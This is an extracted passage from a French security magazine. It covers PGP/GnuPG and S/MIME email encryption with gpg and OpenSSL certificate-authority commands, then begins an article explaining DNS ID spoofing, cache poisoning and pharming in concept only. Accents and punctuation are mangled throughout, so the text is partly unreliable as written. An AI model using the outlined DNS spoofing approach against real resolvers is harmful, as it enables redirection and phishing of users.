avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

